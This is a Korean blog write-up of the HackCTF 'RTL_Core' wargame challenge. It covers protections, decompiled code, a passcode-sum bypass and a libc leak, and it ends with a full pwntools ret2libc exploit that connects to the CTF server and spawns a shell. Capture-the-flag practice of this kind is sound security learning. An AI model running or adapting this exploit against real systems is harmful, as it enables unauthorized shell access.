풀이
Arch: i386 - 32 - little
RELRO : Partial RELRO
Stack : No canary found
NX : NX enabled
PIE : No PIE(0x8048000)
먼저 rtlcore을 실행해보자.
저번 문제와 마찬가지로 패스코드 인증 문제이다.
IDA를 이용해 슈도코드를 확인해보자.
main Pseudocode
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+Ch] [ebp-1Ch]
setvbuf(_bss_start, 0, 2, 0);
puts(&::s);
printf("Passcode: ");
gets(&s);
if ( check_passcode(&s) == hashcode )
{
puts(&byte_8048840);
core();
}
else
{
puts(&byte_8048881);
}
return 0;
}
check_passcode Pseudocode
int __cdecl check_passcode(int a1)
{
int v2; // [esp+8h] [ebp-8h]
signed int i; // [esp+Ch] [ebp-4h]
v2 = 0;
for ( i = 0; i <= 4; ++i )
v2 += *(_DWORD *)(4 * i + a1);
return v2;
}
core Pseudocode
ssize_t core()
{
int buf; // [esp+Ah] [ebp-3Eh]
int v2; // [esp+Eh] [ebp-3Ah]
__int16 v3; // [esp+12h] [ebp-36h]
int v4; // [esp+38h] [ebp-10h]
void *v5; // [esp+3Ch] [ebp-Ch]
buf = 0;
v2 = 0;
v4 = 0;
memset(
(void *)((unsigned int)&v3 & 0xFFFFFFFC),
0,
4 * (((unsigned int)((char *)&v2 - ((unsigned int)&v3 & 0xFFFFFFFC) + 46) & 0xFFFFFFFC) >> 2));
v5 = dlsym((void *)0xFFFFFFFF, "printf");
printf(&format, v5);
return read(0, &buf, 0x64u);
}
check_passcode(입력 값) 함수의 리턴 값과 hashcode가 같으면 core 함수를 실행한다.
core 함수에서는 printf의 주소를 알려주고, bof가 발생하는 read 함수를 사용하고 있다.
먼저 check_passcode 함수에서는 문자열을 4자리씩 끊어 v2 변수에 더하는 행위를 5번 반복한다.
예를 들어서 00001111222233334444가 들어갔다면, 0000 + 1111 + 2222 + 3333 + 4444이다. (단, 16진수화 한 값)
먼저 hashcode가 뭔지 확인해보자.
.data:0804A030 hashcode dd 0C0D9B0A7h ; DATA XREF: main+65↑r
hashcode는 0xc0d9b0a7이다.
5번 반복하고, 4자리씩 끊어 더한 값이 hashcode여야 하기 때문에 이렇게 값을 주면 된다.
647,098,401*4 + 647,098,403 (0x2691f021*4 + 0x2691f023)
이 분기문을 통과하면, core 함수에서 printf 주소를 알려준다.
그럼 이를 이용해서, libc leak 해주면 된다.
base 주소를 구해, 다음과 같은 페이로드를 완성해주면 된다.
dummy(62) + SFP(4) + system + dummy(4) + /bin/sh
1 from pwn import *
2
3 context.log_level = 'debug'
4 #p = process('./rtlcore')
5 p = remote('ctf.j0n9hyun.xyz', 3015)
6 libc = ELF('./libc.so.6')
7
8 payload = p32(0x2691f021)*4
9 payload += p32(0x2691f023)
10
11 p.recvuntil(': ')
12 p.sendline(payload)
13
14 p.recvuntil('0x')
15 arr = '0x' + p.recv(8)
16
17 base = int(arr,16) - libc.symbols['printf']
18 sys = base + libc.symbols['system']
19 binsh = base + list(libc.search('/bin/sh'))[0]
20
21 payload = 'A'*66
22 payload += p32(sys)
23 payload += 'B'*4
24 payload += p32(binsh)
25
26 p.sendafter('\n',payload)
27 p.interactive()
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] Look at me 풀이 (250p) (0) | 2020.12.28 |
---|---|
[HackCTF] Beginner_Heap 풀이 (250p) (0) | 2020.12.28 |
[HackCTF] Random Key 풀이 (200p) (0) | 2020.08.24 |
[HackCTF] 1996 풀이 (200p) (0) | 2020.08.23 |
[HackCTF] poet 풀이 (200p) (0) | 2020.08.23 |